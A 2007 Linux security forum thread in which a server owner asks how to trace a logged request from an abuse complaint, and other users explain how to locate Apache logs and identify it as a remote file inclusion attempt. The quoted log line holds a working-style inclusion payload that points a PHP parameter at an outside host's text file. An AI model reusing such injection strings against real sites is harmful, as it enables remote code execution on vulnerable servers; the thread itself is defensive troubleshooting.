LinuxQuestions.org
Review your favorite Linux distribution.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 08-22-2007, 01:01 PM   #1
tv1
LQ Newbie
 
Registered: Aug 2007
Posts: 7

Rep: Reputation: 0
newbie log checking question


What logs, or how do I check, to see who or what domain caused this:

[21/Aug/2007:00:29:23 +0000] "GET /viewforum.php?f=10//lib.inc.php?pm_path=http: //
marketingpower.ifrance.com
>> /.
>> z.txt?? HTTP/1.1" 403 487 "-" "libwww-perl/5.808"
>> (malwarecomplaints.info)
>> "-"

thanks
 
Old 08-22-2007, 01:18 PM   #2
reverse
Member
 
Registered: Apr 2007
Distribution: Gentoo
Posts: 337

Rep: Reputation: 30
Where did you get that from, if I'm not too indiscrete?
 
Old 08-22-2007, 01:18 PM   #3
sir-lancealot
Member
 
Registered: Aug 2007
Posts: 346

Rep: Reputation: 31
Don't think this is a 'security forum post' but a lot depends on how your apache log's are setup which you could see in your httpd.conf file. If they are setup normally, you could do it a number of way's such as a;
cat /var/log/httpd/* |grep viewforum.php?f=10

That will give you all the places that part appears as well as what file, so try that, and report back,
 
Old 08-22-2007, 01:45 PM   #4
tv1
LQ Newbie
 
Registered: Aug 2007
Posts: 7

Original Poster
Rep: Reputation: 0
Quote:
Originally Posted by reverse View Post
Where did you get that from, if I'm not too indiscrete?
An abuse complaint filed against my server.
 
Old 08-22-2007, 01:49 PM   #5
tv1
LQ Newbie
 
Registered: Aug 2007
Posts: 7

Original Poster
Rep: Reputation: 0
Quote:
Originally Posted by sir-lancealot View Post
Don't think this is a 'security forum post' but a lot depends on how your apache log's are setup which you could see in your httpd.conf file. If they are setup normally, you could do it a number of way's such as a;
cat /var/log/httpd/* |grep viewforum.php?f=10

That will give you all the places that part appears as well as what file, so try that, and report back,
That directory (var/log/httpd) is empty.
 
Old 08-22-2007, 01:51 PM   #6
tv1
LQ Newbie
 
Registered: Aug 2007
Posts: 7

Original Poster
Rep: Reputation: 0
Wink

Just to add, in the hope of mercy from all here, that prior to getting into linux servers recently I was quite a Windows guru, but I am seeing the light . . . . .
 
Old 08-23-2007, 04:19 AM   #7
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Locate your webservers config. Default name for Apache is "httpd.conf". Grep that file: 'grep -i '^[a-z].*log/*/' httpd.conf'. If that doesn't yield anything then it may be configured to log in some subdir of what is configured with the "ServerRoot" directive in "httpd.conf". If nothing works another way could be to find the PID of the webserver running: 'pgrep -l -f /httpd', then list the files it has open for writing: 'lsof -w -n -p INSERTPIDONEHERE -a -d w,0-10'. Hopefully you'll see something called "access_log" or similar.

Next time please put loglines between BB code tags for enhanced readability. If I'm looking at that (malformed) logline I'm thinking this is one of those inclusion tricks. Make inventory of what applications your webserver actually serves (besides that forum), check each for updates and install those or uninstall the application. Also look at mod_security.
 
Old 08-23-2007, 11:34 AM   #8
tv1
LQ Newbie
 
Registered: Aug 2007
Posts: 7

Original Poster
Rep: Reputation: 0
Quote:
Originally Posted by unSpawn View Post
Locate your webservers config. Default name for Apache is "httpd.conf". Grep that file: 'grep -i '^[a-z].*log/*/' httpd.conf'. If that doesn't yield anything then it may be configured to log in some subdir of what is configured with the "ServerRoot" directive in "httpd.conf". If nothing works another way could be to find the PID of the webserver running: 'pgrep -l -f /httpd', then list the files it has open for writing: 'lsof -w -n -p INSERTPIDONEHERE -a -d w,0-10'. Hopefully you'll see something called "access_log" or similar.

Next time please put loglines between BB code tags for enhanced readability. If I'm looking at that (malformed) logline I'm thinking this is one of those inclusion tricks. Make inventory of what applications your webserver actually serves (besides that forum), check each for updates and install those or uninstall the application. Also look at mod_security.
Thanks, got it! And thanks for the patience.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Newbie Question - Checking Kernel Version squall1986 Fedora 3 11-14-2006 02:28 PM
how do i stop slack checking mutt mail when i log in? dive Slackware 1 07-19-2005 12:41 PM
checking transaction log In SUSE 9.1 shaked Linux - Newbie 2 10-01-2004 02:37 PM
ReiserFS stuck at "Checking transaction log" after power loss zaufe Linux - Hardware 2 06-25-2004 08:44 PM
recursive checking and log files (tripwire) wedgeworth Linux - Security 2 05-28-2004 12:20 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 10:06 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration